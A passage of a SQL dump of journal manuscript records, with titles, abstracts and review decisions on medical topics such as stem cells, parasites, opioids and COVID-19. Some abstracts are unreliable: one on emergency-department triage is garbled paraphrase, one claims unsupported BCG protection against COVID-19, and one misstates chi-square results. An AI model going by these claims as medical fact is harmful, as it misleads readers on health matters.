regulatory effects of SRGF on the expression of some genes which effect both proliferation and lifespan of MSCs.\r\nMethods\r\nSRGF was obtained from platelets and MSCs were isolated from umbilical cord. The MSCs morphology and phenotype have been analyzed using phase-contrast microscope and flow cytometry, respectively. Cells were cultured either in presence of FBS10% (as control) or SRGF5% plus FBS5% and FBS10% alone (as tests). The cell population doubling time (PDT) was measured hourly. The expression of related genes was analyzed employing real-time PCR technique.\r\nFindings \r\nFinding of the present study showed that the experimental groups were morphologically and phenotypically as similar as to control group. We observed that the PDT in the experimental group was shorter than that was found in the control. We have also found that the expression of hTERT and c-MYC genes was increased, while, and P16 and P53 genes were down- regulated. These results were superior in the 10%SRGF group than in the 5% SRGF + 5% FBS group.\r\nConclusion\r\nAccording to the finding of this study, SRGF could possibly serve as an effective proliferative and lifespan inducing factor for MSCs. These results also indicated that SRGF has the tendency to be employed as an appropriated alternative for FBS in cell culture.\r\n','Mesenchymal Stem Cell; SRGF; hTERT; c-MYC; P16',3888,NULL,'2020-10-15',NULL,'Submitted',2,NULL,'2020-12-03',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6419,7679,959,0,'ipacr-20-6419','Hamatological malignancies in Hadhramout sector Pattern and distribution',NULL,12,0,'','\r\nAbstract\r\nObjective:  To study the pattern and distribution of hematological cancers in Hadhramout sector-Yemen and comparing with the findings elsewhere in the country and worldwide.\r\nMethods: Descriptive study of patients with Hematological malignancies between January 2011 and December 2015 recorded in National Oncology center - Hadhramout. Cases were sub grouped  according to their lineage  into: Lymphoid types which include Non-Hodgkin’s and Hodgkin’s lymphomas, acute and chronic lymphocytic leukemia and multiple myelomas, and Myloid types which include acute myloblastic leukemia and chronic myeloproliferative neoplasms. Patients were classified into four age groups: <18, 18-40, 41-60 and > 60 years. Results: A 661 cases of Hematological malignancies were registered (22.6% of all cancers registered ). 58.7 % males and 41.3 % females, ( male to female ratio of 1.4:1). Slight female predominance found in cases of chronic myeloproliferative neoplasms. Hematological malignancies occur at young age, with overall median age at diagnosis of 39 years. Non-Hodgkin’s lymphoma was the most common subtype (37.8 %), followed by Hodgkin’s lymphoma. Majority of cases were observed among 18-40 age group (28 %). In children and adolescents <18 years old, acute lymphoblastic leukemia and acute myloblastic leukemia were more predominant (24%,11.4%). multiple myeloma commonly occurred in 41-61 age group (57.6%). chronic lymphocytic leukemia mostly occurred among old patients over 60 years (66.7%). Most cases were from Hadhramout governorate (n= 507,76.7%) and Mukalla was the most affected city. \r\nConclusions: The distribution of Hematological malignancies in Hadhramout is more common in adults while decreased in elder population.  \r\n','Hematological malignancies, Myeloid neoplasms, Lymphoid neoplasms, Hadhramout. ',2817,NULL,'2020-10-18',NULL,'Submitted',2,NULL,'2020-11-10',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6420,7680,975,0,'ipjbs-20-6420','PREVELENCE OF HAMSTRING MUSCLE STRAIN IN FOOTBALL PLAYERS IN FAISALABAD.',NULL,14,0,'','Abstract\r\nBackground: Muscular injuries are a significant percentage of all football injuries. In sports involving sprinting and kicking, hamstring muscle strain injury is one of the most common lesions. Data on hamstring injury rates in football over time are minimal.\r\nAims & Objectives: The main objective of this study is to Prevalence the hamstring muscle strain in football players in Faisalabad.\r\nMethodology: Sample will be taken of 125 football players with hamstring muscle strain injury from Faisalabad. Microsoft Office 2016 and SPSS 23.0 tool was used for analysis of data.\r\n Results: Total 125 players included in this study mean age of player was Mean ± S.D is 22.92±2.895. Average experience of players was Mean ± S.D is 7.92±0.735 years. Average height of players were Mean ± S.D is 5.52±0.773 inches. 44(35.2%) players were in overweight. Average of acute hamstring injury was Mean ± S.D is 2.21±0.651, 67(53.6%) had moderate pain scale. 72(57.6%) had moderate pain scale during jogging and running. 61(48.8%) had moderate pain scale during acceleration and springing, 56(44.8%) had moderate pain scale during static stretching, 25(20.0%) had Biceps Femoris hamstring muscles, 51(40.8%) had had Biceps Semitendinosus hamstring muscles, 49(39.2%) had semi Memberance hamstring muscles.   \r\nConclusion: Hamstring strains are a considerable cause of disability in football, with the majority of injuries occurring during the short preseason.In particular, the speed position players, such as the wide receivers and defensive secondary, as well  as  players on the special teams units, are at elevated risk for injury. The result was calculated by applying the chi square test with the help of SPSS Version.20.The study showed that the result is significant because the chi square value is smaller than 0.05.\r\n','Hamstring injuries, Football players, Muscles strain',3460,NULL,'2020-10-18',NULL,'Submitted',4,NULL,'2021-02-18',NULL,1,1,'1','Publish',0,'','',NULL,0,0,0,NULL,0),(6424,7685,975,0,'ipjbs-20-6424',' Effect of Sensing Matrices on Quality Index Parameters on Block Sparse Bayesian Learning-Based EEG Compressive Sensing',NULL,14,0,'','Advancement in medical technology creates some issues related to data transmission as well as storage. In real-time processing, it is too tedious to limit the flow of data as it may reduce the meaningful information too. So an efficient technique is required to compress the data. This problem arises in Magnetic Resonance Imaging (MRI), Electro Cardio Gram (ECG), Electroencephalogram (EEG), and other medical signal processing domains. In this paper, we demonstrate Block Sparse Bayesian Learning (BSBL) based compressive sensing technique on an Electroencephalogram (EEG) signal. The efficiency of the algorithm is described using the Mean Square Error (MSE) and Structural Similarity Index Measure (SSIM) value. Apart from this analysis we also use different combinations of sensing matrices too, to demonstrate the effect of sensing matrices on MSE and SSIM value. And here we got that the exponential and chi-square random matrices as a sensing matrix are showing a significant change in the value of MSE and SSIM. So in real-time body sensor networks, this scheme will contribute a significant reduction in power requirement due to its data compression ability as well as it will reduce the cost and the size of the device used for real-time monitoring.','Compressive Sensing (CS), Mean Square Error (MSE), Structural Similarity Index Measure (SSIM), EEG (Electroencephalogram), Digital Signal Processing (DSP), Block Sparse Bayesian Learning (BSBL).',3460,NULL,'2020-10-19',NULL,'Submitted',4,NULL,'2021-02-18',NULL,1,1,'1','Can Publish',0,'','',NULL,0,0,0,NULL,0),(6428,7689,73,0,'ipjnn-20-6428','AN EXPERIMENTAL STUDY ON PREVENTION AND REDUCTION IN FALL FREQUENCY IN 60-70 YEAR OLD INDIVIDUALS BY CAWTHORNE AND COOKSEY EXERCISES',NULL,14,0,'','The purpose of the study was to identify the effect of Specific Cawthorne and Cooksey exercises in 60-70-year-old individuals for reduction in the frequency of falls in the specific age group. To observe the effect of the specific exercises on balance and fear of fall, a group of 23 patients (12 in interventional and 11 in control group), age group between 60-70 years old was taken. In conclusion, the Interventional group suggested improvement of balance according to the Berg Balance Scale with the score of mean 41.5 and the control group (was not given any therapeutic intervention) the BBS mean score was 34.5. The result was thus indicative of positive effect of Cawthorne and Cooksey exercises on reduction of frequency of fall and imbalance in the older age group.','Fall, balance, Cawthorne and Cooksey exercises, Berg Balance Scale',3970,NULL,'2020-10-19',NULL,'Submitted',4,NULL,'2021-02-09',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6429,7691,975,0,'ipjbs-20-6429','WHARTON’S JELLY AS BIOMATERIAL NERVE SCAFFOLD FOR SCIATIC  NERVE REGENERATION IN ALBINO WISTAR RATS',NULL,14,0,'','Human umbilical cord (hUC) is encompassed by a mucoid connective tissue called Wharton’s jelly (WJ), made of hyaluronic acid, collagen and stromal cells to support the blood vessels of hUC. This study was aimed to determine the in vitro neuronal differentiation of Wharton’s jelly-derived Mesenchymal stem cells (WJMSCs) and in vivo axonal regeneration potential of human Wharton’s jelly as a neuronal graft after sciatic nerve injury in immunosuppressed Albino Wistar rats. WJMSCs could be differentiated to neuron-like cells by inducing with neuronic supplementing media. The test animal’s axotomized nerves were implanted with trimmed human umbilical cord devoid of vascularity. The control animals were bridged with native sciatic nerve reversed and sutured. Post-surgical functional recovery was studied by walking track, pin-prick, muscle weight and sweating quantification. At the end of the 4th week, the animals were euthanized, and Magneto Neuro graph (MNG) was performed. The explanted grafts were quantified by immunohistochemistry for immuno-rejection, neural scarring, neural adhesion axon regeneration, fiber diameter, myelin thickness and g-ratio. The sciatic function index (SFI) values were similar by walking track analysis for both the test group and control group. The animals had functional and sensation recovery by the end of two weeks. No mortality, signs of inflammation and acute immunorejection were observed post-surgery. The hUCWJ devoid of vascular elements can be a perfect peripheral nerve grafts and we hypothesis that the cryopreserved hUC could be an ideal resource for axonal regeneration in future.','Umbilical cord, Mesenchymal stem cells, Peripheral Nerve injury, Sciatic Nerve, Nerve graft, Albino Wistar Rats',3460,NULL,'2020-10-19',NULL,'Submitted',4,NULL,'2021-02-18',NULL,1,1,'1','Publish it',0,'','',NULL,0,0,0,NULL,0),(6440,7707,45,0,'iphsj-20-6440','Who Cares? Faculty Members and their Self-Care',NULL,14,0,'','There is no profession more pressured by society than teachers who are highly expected to hone the total human person to fit the human resource needs of the future. This herculean task has taken its toll in the higher prevalence of health problems among teachers.  This research looked into the profile of teachers, their self-care practices and the interaction between these two variables. Data were gathered using a researcher-designed questionnaire from faculty members of a selected higher education institution. \r\n	Demographically, more than one-half of the faculty members are female, middle aged, with 13 to 22 units of academic load, only few have administrative designations, with P15,001 to P25,000 monthly income, married, with 1 to 2 children, with normal body mass index, with diagnosed chronic diseases, not taking maintenance medications at the moment, and with first degree relatives who also have diagnosed chronic diseases. \r\n 	Further, the faculty members usually practiced self-care measures on diet, physical activity, rest and recreation, and always practiced self-care measures on habits. Ordinal regression results showed that most of the demographic characteristics of the faculty members are predictors of their self-care practices. \r\n','diet, habits, physical activity, rest and recreation, self-care',685,NULL,'2020-10-21',NULL,'Submitted',14,NULL,'2020-11-12',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(6443,7710,975,0,'ipjbs-20-6443','Prevalence of Intestinal Helminths Infections and Associated Risk Factors among School Children in Adola Town, Guji Zone, Oromia Regional State, Ethiopia',NULL,14,0,'Biomedical Science','	ABSTRACT\r\nBackground: Intestinal helminths infection (IHI) are major public health problems worldwide, which are more prevalent in tropics and sub tropical countries especially in developing countries like Sub Saharan Africa cause of morbidity and mortality. In Ethiopia, the burden of IHI appears in all ages mainly due to factors like lack of education, low socioeconomic status, and inadequate supply of drugs and proper awareness. \r\nObjective: The present study aimed to assess the prevalence of IHIs and their associated risk factors among primary school children of Adola town, Guji Zone, Oromia, Ethiopia. \r\nMaterials and methods: School based cross-sectional study was conducted among 404 school children from grade one to eight in three purposively selected Adola Primary schools located in Adola town from June 4, 2018, to December 25, 2019. Data were gathered using questionnaires and laboratory examination procedures and then, the collected stool samples were examined microscopically using direct wet-mount methods. Data were analyzed using SPSS 20 by binary logistics regression model using odd ratio with 95%CI. \r\nResults: The overall prevalence of IHIs among school children was found to be 33.91% (137/404). The eight dominant IHs identified in school children were Ascaris lumbricoides, Hymenolepis nana, Taenia saginata, Hookworm, Trichuris trichiura, Schistosoma mansoni, Enterobius vermicularis, and Strongyloides stercoralis with prevalence of 8.9%, 7.7%, 5.4%, 4.7%, 2.5%, 2.2%, 1.7%, and 0.7% respectively. The highest prevalence was found to be higher in male children (39.6%) than in female children (28.8%) which is statistically significant at p<0.05. The highest prevalence of IHIs among school children in the age group 6-10, 11-15, 16-20 and above 20 were 49.6%, 35.8%, 10.9% and 3.6%, respectively and found to be not statistically significant at p<0.05. The prevalence of IHIs was significantly associated with some of the risk factors, such as gender difference, level of students educational, latrine usage habit, handwashing habit, handwashing habit after defecation, purpose of handwashing, and awareness to intestinal helminths (p=0.024, p=0.031, p=0.043, p≤0.001, p=0.049, p=0.047, and p=0.033 respectively). \r\nConclusion: In the study area, the prevalence of IHIs is moderately high and represents a public health problem in the school-children. Therefore, all stakeholders should pay attention to raise awareness about health education programs such as proper personal hygiene, environmental sanitation, improving the quality of drinking water, and treatment to reduce the prevalence of intestinal helminths.\r\n','Keywords: Adola town, Intestinal helminths, Prevalence, Risk factors, School children',3460,NULL,'2020-10-21',NULL,'Submitted',4,NULL,'2021-02-18',NULL,1,1,'0','Publish',0,'','',NULL,0,0,0,NULL,0),(6445,7712,326,0,'IPJUS-20-6445','A Medication Use Evaluation of Sufentanil Sublingual Tablet 30 mcg for the Perioperative Management of Surgical Pain',NULL,14,0,'','Background: Our institution conducted a medication use evaluation of a novel sublingual opioid for use as an analgesic in the perioperative setting for a wide variety of surgical procedures to compare perioperative opioid utilization and recovery times between two different opioid dosing protocols. Method and Material: Patients undergoing a surgical procedure requiring opioid-level analgesia were dosed sublingually with a sufentanil sublingual tablet 30 mcg in place of a standard dose of intravenous opioid (fentanyl, hydromorphone, or morphine) typically used for the procedure. The total dose of intraoperative and postoperative morphine milligram equivalents was calculated as well as the time in the recovery unit. Results: Overall, 140 patients were dosed perioperatively with the sublingual sufentanil tablet from June 2019 to March 2020 and compared to 158 matched control patients undergoing similar surgeries with the same surgeons over a similar time period. Dosing of the tablet was either just prior to induction or intraoperatively in 137/140 of the patients, whereas 3 patients received a dose only in the recovery unit. The majority (90%) of patients required only a single tablet, while 14 patients required one additional dose in the recovery unit. The sufentanil sublingual tablet reduced opioid dosing requirements in the recovery unit by greater than 50% (p < 0.001) compared to traditional intraoperative intravenous opioid dosing and resulted in an overall decrease in recovery discharge time by 14 min (p < 0.001). Conclusions: Perioperative sufentanil sublingual tablet administration can provide enhanced recovery compared to standard intravenous opioid administration. ','postoperative, acute pain, opioid analgesic',2505,NULL,'2020-10-21',NULL,'Submitted',2,NULL,'2020-11-30',NULL,1,1,'0','This article is accepted for publication',0,'','',NULL,0,0,0,NULL,0),(6457,7724,975,0,'ipjbs-20-6457','SEROPOSITIVITY OF TORCH INFECTION IN BAD OBSTETRIC HISTORY PATIENTS',NULL,14,0,'','Background and Objectives: Primary infection with TORCH complex [Toxoplasma, Rubella, Cytomegalovirus \r\n(CMV), and Herpes simplex virus II (HSV-II)] in pregnant women can lead to adverse outcome. The present study was \r\nundertaken to determine seropositivity of TORCH Infection in Bad obstetric history patients aged 20-46 and to investigate \r\nthe correlation with sociodemographic characteristics and to find its relation with other various risk factors associated \r\nwith TORCH among seropositive patients. \r\nMaterials and Methods: The cross-sectional study was carried out for a period of four months in a tertiary care hospital. \r\nTotal of 40 sera samples were collected at Dept. of Microbiology, IIMS&R, Lucknow from pregnant female patients \r\nattending the outdoor and indoor clinic of the department of Obstetrics & Gynaecology. The serological testing for \r\nTORCH Infection was performed on blood specimen by using ELISA. \r\nResults: Out of the 40 pregnant female patients in the study, seropositivity of IgG/IgM in Toxoplasma gondii, Rubella, \r\nCMV, HSV was 5 (12.5%)/2 (5%), 21 (52.5%)/0 (0%), 13 (32.5%)/0 (0%), 21 (52.5%) /2 (5%) respectively. It was found \r\nthat maximum 35% patients belonged to 26-30 followed by age group 20-25 i.e. 27.5%, age group 31-36 i.e. 25% and \r\nleast in age group belongs to 37-40 i.e. 7.5% and 41-46 i.e.5%. In this study majority of the patients were belong to rural \r\nareas. \r\nConclusion: TORCH infections are associated with recurrent abortion, intrauterine growth retardation, intrauterine death, \r\npreterm labor, early neonatal death, and congenital malformation. The purpose of screening for TORCH Infection is not \r\nonly to identify seropositivity, but to help seropositive people identify symptoms and protect themselves from acquiring \r\nother various risk factors and to protect their partners and seronegative people from acquiring TORCH. ','Keywords: TORCH; Seropositivity; Bad obstetric history; IgG; IgM; CMV; HSV; ELISA',3460,NULL,'2020-10-22',NULL,'Submitted',1,NULL,'2021-02-18',NULL,1,1,'0','Can Publish',0,'','',NULL,0,0,0,NULL,0),(6460,7727,45,0,'iphsj-20-6460','COULD BCG VACCINE BE USED TO PROTECT AGAINST COVID-19',NULL,14,2,'','A new coronavirus, called SARS-CoV-2, was identified in Wuhan, China, in December 2019. The SARS-CoV-2 spread very rapidly, causing a global pandemic, Coronavirus Disease 2019 (COVID-19). A few pharmaceutical companies and pathologists have been trying to come up with a cure in the form of a vaccine but in vain. It has been seen that universal BCG vaccination has been effective in prevention from and to reduce severity of COVID-19.','COVID-19, Universal BCG Vaccination',4013,NULL,'2020-10-22',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(6463,7732,45,0,'iphsj-20-6463','Assessment of Emergency Care Quality in Public Hospitals of Tigrai, North Ethiopia',NULL,14,2,'','Background: Emergency service quality is the degree to which individuals and populations increase the likelihood of desired health outcomes consistent with current professional knowledge.  Considering the evidence gap, the study was undertaken to investigate the quality of emergency services in public hospitals of Tigrai, North Ethiopia. \r\nObjective: The objective of the study was to assess the emergency care quality in public hospitals of Tigray region, northern Ethiopia. \r\nMethods: Facility based cross-sectional study was employed and the study was conducted from April-June, 2019. The study assessed the emergency care quality using the main components: Availability of basic infrastructure and resources, Access to basic emergency services, and patient and staff satisfaction, and waiting time to emergency care. \r\nResults: The study revealed that the overall emergency service availability and readiness score, and access to basic emergency services score were 64% and 61%, respectively. The emergency patients and staff satisfaction scores were 60% and 65%, respectively. The average patient waiting time to emergency care in the hospitals was 8 minutes. Separate emergency examination (0%) and isolation (56.25%) rooms were rarely in use. Availability of basic medical equipment was nearly 50%. Together with lack of appropriate trainings (50%), scarcity of physicians, pharmacy (29%), and laboratory (43%) professionals were major challenges affecting the human resource of the emergency care. Hence, the laboratory, radiology and pharmacy emergency services were not providing 24-hour a day.\r\nConclusion: Quality of emergency service was poor and inadequately implemented when compared with the national and regional predetermined targets. Therefore, the regional health bureau should regularly monitor and address the gaps identified together with program implementers, funders and other stakeholders.','Emergency care, service quality, satisfaction, waiting time, availability',686,NULL,'2020-10-22',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(6466,7735,251,0,'ipacm-20-6466','Changing Epidemiology of Superficial Fungal Infections in Enugu, South East Nigeria',NULL,14,0,'','Background: Superficial fungal infections are encountered worldwide but predominate in low and middle in-come countries. It has a high morbidity rate and affects the quality of life. Its epidemiology is changing because of influence of socioeconomic factors, modern life style, immunosuppressive therapy, travel and migration of populations. This study was carried out with the aim to survey the changing epidemiology of superficial fungal infection in Enugu, South East Nigeria.\r\nMethod: This was a hospital based cross-sectional study, carried out in the Department of Medical Microbiology, University of Nigeria Teaching Hospital Enugu. Information regarding the age, sex, preliminary diagnosis and site of infection were gotten from the patients records. A total of 566 clinical specimens were collected from the patients diagnosed with superficial mycosis. The specimens were collected unto a piece of white paper and examined microscopically using potassium hydroxide. They were then cultured on sabouraud dextrose agar (SDA) and incubated at 250C and 370C for one month. Fungi identification was based on macroscopic and microscopic examination.\r\nResult; Out of 253 fungi isolated from the clinical specimens, 141(55.7%) were dermatophytes, with the least being Candida species 32(12.6%) (Kruskal-Wallis H (6) = 4.571; P = 0.102). Females:male ratio was 1.3:1.  Above 25 years, the isolates were higher in female. (χ^2 = 21.249, P =0.003). Among the dermatophytes, Trichophyton soudanense 56(22.1%) was the predominant isolate, followed by Trichophyton rubrum 51(20.16%). (χ^2  = 5.056; P =0.034). The predominant non-dermatophytes isolated were Cladosporum spp 48(18.0%). The trunk 112 (44.3%) was the most affected site, with the least affected site being the hand 4 (1.6%). \r\nConclusion: The high rate of previously rare fungi isolated calls for serious surveillance. This study reflects the changing trend of superficial fungal infection with a high rate of isolation of non-dermatophyte.\r\n','Dermatophytes; Fungi; Infection; Superficial; Species; Sabouraud Dextrose Agar',782,NULL,'2020-10-23',NULL,'Submitted',2,NULL,'2021-02-01',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(6496,7769,277,0,'ipadm-20-6496','.',NULL,2,0,'','.','.',2805,NULL,'2020-10-27',NULL,'Submitted',4,NULL,'2020-11-23',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6497,6984,277,0,'ipadm-20-6497','Variabilidad glicémica y su impacto cardiovascular y renal',NULL,15,0,NULL,'La variabilidad glicémica se define como fluctuaciones glucémicas agudas. Estas fluctuaciones ascendentes y descendentes suelen ser un resultado directo del tratamiento de la hiperglucemia. Se ha demostrado una correlación existente entre el grado de la variabilidad glicémica y el desarrollo de complicaciones cardiovasculares, metabólicas y renales, por ende, la detección de la oscilación de la glucosa de forma aguda y crónica debe ser una parte importante en el seguimiento de los pacientes diabéticos','Insuficiencia renal, Diabetes mellitus, Hipoglicemia.',2805,NULL,'2020-10-27',NULL,'Submitted',2,NULL,'2020-11-23',NULL,1,1,'1','Un caso clínico se ha presentado bien con la imagen. Recomiendo este manuscrito para su publicación',0,NULL,NULL,NULL,0,0,0,NULL,0),(6502,7770,73,0,'ipjnn-20-6502','AN UNUSUAL PRESENTATION OF GUILLAIN-BARRE SYNDROME – A CASE STUDY',NULL,2,0,NULL,'Guillain-Barré syndrome (GBS) is an acute postinfectious polyneuropathy characterized by symmetric and ascending flaccid paralysis. GBS most commonly presents with symmetrical proximal muscle weakness of the lower extremities as the first sign and moves upwards as ascending paralysis. This case presented with asymmetrical descending paralysis and altered sensorium, which made the initial diagnosis quite challenging. CSF reports revealed an albuminocytologic dissociation that supported the diagnosis of post-infectious Guillain-Barré syndrome. Nerve conduction studies revealed an abnormal with increased F wave latency, suggestive of right upper limb sensory and lower limb motor axonal and demyelinating neuropathy. The patient was treated with IVIG and other supportive treatment. The patient showed significant improvement within two weeks.','Acute inflammatory demyelinating polyneuropathy; Acute motor axonal neuropathy; Acute paralytic neuropathy; Guillain–Barré syndrome; IVIG; autoimmune.',345,NULL,'2020-10-28',NULL,'Submitted',4,NULL,'2021-03-02',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6506,7775,73,0,'ipjnn-20-6506','Ischemic Stroke in Patients with SARS-CoV-2 Infection and Coagulation Disorders',NULL,15,2,'','Objective: We aimed to analyze laboratory changes and management of patients with SARS-CoV-2 infection (COVID-19) and ischemic stroke.\r\nMethods: Based on literature search in the medical databases PubMed, LiLacs, WoS and IBECS and using the combination of descriptors “cerebral infarction” OR “stroke” OR “brain ischemia” OR “thrombosis” AND “coronavirus; “SARS-Cov-2”, “Covid-19”, we analyzed all case reports on COVID-19 and ischemic stroke, regardless of publication time.\r\nResults: In 12 articles analyzed in this review, a total of 52 patients (67.3% men and 32.7% women) with Covid-19 had ischemic stroke. The average age was 57.4±14.4 years, ranging from 31 to 87 years. Neurological symptoms appeared 10.7±8.1 days after the diagnosis of Covid-19. The main laboratory changes were C-reactive protein (80.8%), D-dimer (78.9%), and ferritin (13.5%). The therapeutic measures used were anticoagulation (65.4%), anti-platelet aggregation (19.2%), thrombectomy (15.4%), thrombolysis (9.6%), and antithrombotics (7.7%). Risk factors for ischemic stroke were present in 76.9% of patients and in most of them there were two or more factors, more often: arterial hypertension (76.9%), diabetes mellitus (36.5%), hyperlipidemia (32.7%), and cardiopathy (30.8%). There was a higher mortality in patients with risk factors (85%).\r\nConclusions: Hypercoagulopathy and endothelial lesions caused by COVID-19, associated with the neuroinvasive potential of the SARS-Cov-2 virus may cause ischemic strokes.\r\n','Keywords: Stroke, coagulopathy, D-dimer, C-reactive protein, coronavirus, Covid-19.',332,NULL,'2020-10-29',NULL,'Submitted',19,NULL,'2020-12-17',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(6518,7783,85,0,'iphspr-20-6518','Improving Cooperation among Lebanese Private Hospitals  through Strategic Planning ',NULL,14,0,'','Background: In Lebanon, most hospitalization services are provided by the private sector. Private hospitals are represented by a Syndicate.  This Syndicate of Private Hospitals in Lebanon did never have a strategic direction. Previous research indicates that a well-executed strategic plan focuses on healthcare quality of care and productivity. The Syndicate aims at improving the 3Cs (communication-coordination-collaboration) of SEAM. The strategic plan is used a forward thinking process to strengthen the position of hospitals vis-à-vis internal and external stakeholders. \r\nMethodology: A SEAM (Socio-Economic Approach to Management) diagnosis identifies dysfunctions in 3 Cs (communication-coordination-collaboration). The diagnosis revealed that strategic orientation is number one priority dysfunction in the private hospitalization sector.  The Syndicate of Private Hospitals board members conducted several meetings to come out with a strategic plan. Primo-F was used to assess Internal Strengths and Weaknesses.  Pestle was used to assess the external environment: Opportunities and threats. Then, a SWOT analysis was derived from the Primo-F and Pestle assessment. Vision, mission and values were reviewed. Strategic goals were developed. Key Performance Indicators were identified in order to monitor advancement and realization of goals.\r\nResults: Six out of ten goals attained their set targets. Developing new legislations, strengthening bond between Syndicate and developing human potential were more than 97% achieved. Enhancing health tourism and setting public policies were difficult to reach due to the political situation in the country. Two indicators did not reach their due dates for measurement yet.\r\nConclusion: The strategic plan has changed the position of the Syndicate of Hospitals from a reactive to a proactive state. The strategic plan was set on a solid internal and external assessment. The results were enhanced cooperation between hospitals, advancement of the hospitalization sector and a major contribution to the health sector in Lebanon.\r\n','SEAM, Hospitals, Syndicate, Strategic Planning, communication-coordination-collaboration.',2141,NULL,'2020-10-29',NULL,'Submitted',4,NULL,'2021-07-06',NULL,1,1,'0',' ',0,'','',NULL,0,0,0,NULL,0),(6538,7800,971,0,'ipaclr-20-6538','Making a sway on emergency department flow: up patient process aided by advisor at sorting',NULL,2,0,'','Objectives: \r\nTo assess whether or not initial patient consult by senior clinicians reduces numbers of patients waiting to be seen as AN indirect live of waiting time throughout the emergency department (ED).\r\n\r\nMethods: \r\nAN medical specialty advisor and a senior ED nurse (G or F grade), referred to as the IMPACT team, staffed the sorting space for four periods of 4 hours per week, Mon to Fri between nine am to five pm for 3 months between Dec 2001 and February 2002 once staffing levels permissible. Patients usually triaged by a nurse during this space instead had AN early consultation with the IMPACT team. knowledge was collected prospectively on all patients seen by the IMPACT team. the number of patients waiting to be seen (for sorting, in majors and in minors) was assessed each 2 hours throughout the IMPACT sessions and at corresponding times once no IMPACT team was operational.\r\n\r\nResults: \r\nThere was AN overall reduction within the range of patients waiting to be seen within the department from eighteen.3 to 5.5 (p<0.0001) at formal 2 hourly assessments. the biggest distinction was seen in minors. Of the patients seen at sorting by the IMPACT team, 48.9% were discharged home instantly when assessment and treatment. With the IMPACT team gift, no patient waited over four hours for initial clinical consult.\r\nConclusions: By employing a senior clinical team for initial patient consultation, the numbers of patients waiting fell dramatically throughout the ED. several patients will be effectively treated and discharged when initial consult by the IMPACT team.\r\n','',3249,NULL,'2020-10-30',NULL,'Submitted',4,NULL,'2021-02-02',NULL,1,1,'0',NULL,0,'2867','kiranleela_r@omicsgroup.co.in',NULL,0,0,0,NULL,0),(6540,7802,251,0,'ipacm-20-6540','First \"Madura foot\" discovered and treated in Palestine',NULL,3,1,'unusual case discovered in the Palestinian territory','Mycetoma or (Madura foot) is defined as a chronic progressive subcutaneous infection that results in a granulomatous inflammatory response in the deep dermis and subcutaneous tissue, which can extend to the underlying bone [1, 2]. This infection caused by either actinomycetes (actinomycetomas) or fungi (eumycetomas), and it characterized by multiple sinuses discharging colored grains at the site of infection [1-3]. It commonly affects young adults in rural areas especially in tropical areas [1, 2]. Also it can be found but rarely in people who live in cities with agricultural work or farming as soil is considered a natural reservoir for most of the causing pathogens [3]. In general infection usually follows a traumatic inoculation of the pathogen into subcutaneous tissue via contaminated materials or in those who become inoculated with the agent after they traveled to tropical or endemic areas [1, 4]. Mycetoma is rarely found in levant area, so we report here the first case of eumycetoma that was discovered and treated in Palestine.','Mycetoma, eumycetoma ',782,NULL,'2020-10-30',NULL,'Submitted',2,NULL,'2021-02-01',NULL,1,1,'0','  ',0,'','',NULL,0,0,0,NULL,0),(6549,4286,251,0,'ipacm-21-6549','Adjuvant activity of vero cell on cellular and humoral immunity responses against E. Coli O157:H7 infections in Balb/c mice',NULL,14,0,NULL,'Enterohemorrhagic Escherichia coli constitute an important current problem of public health and animal production. Extensive efforts have been made to fight the infections caused by the pathotypes which responsible for diseases such as hemorrhagic colitis and hemolytic uremic syndrome. Different vaccines have been tested against these bacteria. Here, the current study was undertaken to evaluate the humoral and cellular immune responses and protective immunity conferred by an E. coli O157:H7 vaccine with vero cell as adjuvant in mice. \r\nE. coli O157:H7 was grown in the Tryptic Soy Broth (TSB), inactivated with formalin and adjuvanted with vero cell and alum. Mice were immunized with inactivated E. coli O157:H7 vaccine to study the splenocytes suspension and serum cytokines proliferation. The serum antibody titers and cytokines Interleukin-1a (IL-1a) and TNFα were identified by ELISA. At 28 days post immunization, the studied groups were challenged with the LD50 dose of the live bacteria. \r\nMice immunized with vero cell adjuvanted E. coli O157:H7 (VO group) were observed to produce high levels of serum IgG antibodies, also inducing increases in the production of lymphocyte proliferation and secretion of cytokines. Besides, this immunized group produced complete protection after challenge. Our findings introduce that VO immunized mice is capable of releasing an immunological response with several cytokines and produce complete protection after challenge. These obtained results suggested that VO group has the potential as a candidate for vaccine against E. coli O157:H7.','E. coli O157:H7; Vero cell; Adjuvant activity; Vaccine; Humoral and cellular immunity.',3944,NULL,'2020-10-31',NULL,'Submitted',2,NULL,'2021-02-02',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(6551,7482,86,0,NULL,'Remdesivir and Lopinavir/ritonavir as potential drugs to treat coronavirus disease 2019 (COVID-19)',NULL,15,0,NULL,'Drugs that are efficacious against SARS-CoV-2 have yet to be established. Remdesivir and Lopinavir/ritonavir have garnered considerable attention for their potential to treat coronavirus disease 2019 (COVID-19).\r\nRemdesivir not only in vivo but also in vitro testing shows the inhibition of human coronavirus replication, including SARS-CoV .as well as Lopinavir/ritonavir that shows promising antiviral drug against SARS-CoV-2.','Remdesivir; Lopinavir; Ritonavir; COVID-19; SARS-CoV-2.',3386,NULL,'2020-10-31',NULL,'Submitted',4,NULL,'2020-11-02',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6557,7815,45,0,'iphsj-20-6557','EVIDENCE-BASED APPROACHES in CHÄ°LDREN with HYPOTHERMIA',NULL,19,2,'','Pediatric hypothermia can be a condition that needs to be prevented. Today elthough there are various methods to prevent hypothermia, the hypothermia lists of the guidelines of the evidence guides in preventing and managing hypothermia.  Will address the return to success and recovery by achieving vision incidence. We believe that this review will create a common approach since it does not follow a multidisciplinary approach. This to study is with current reviews, maintenance of normothermia in pediatric patients risk factors for hypothermia, and to discuss evidence-based hypothermia management aims.','Undesirable hypothermia, pediatrics, evidence, 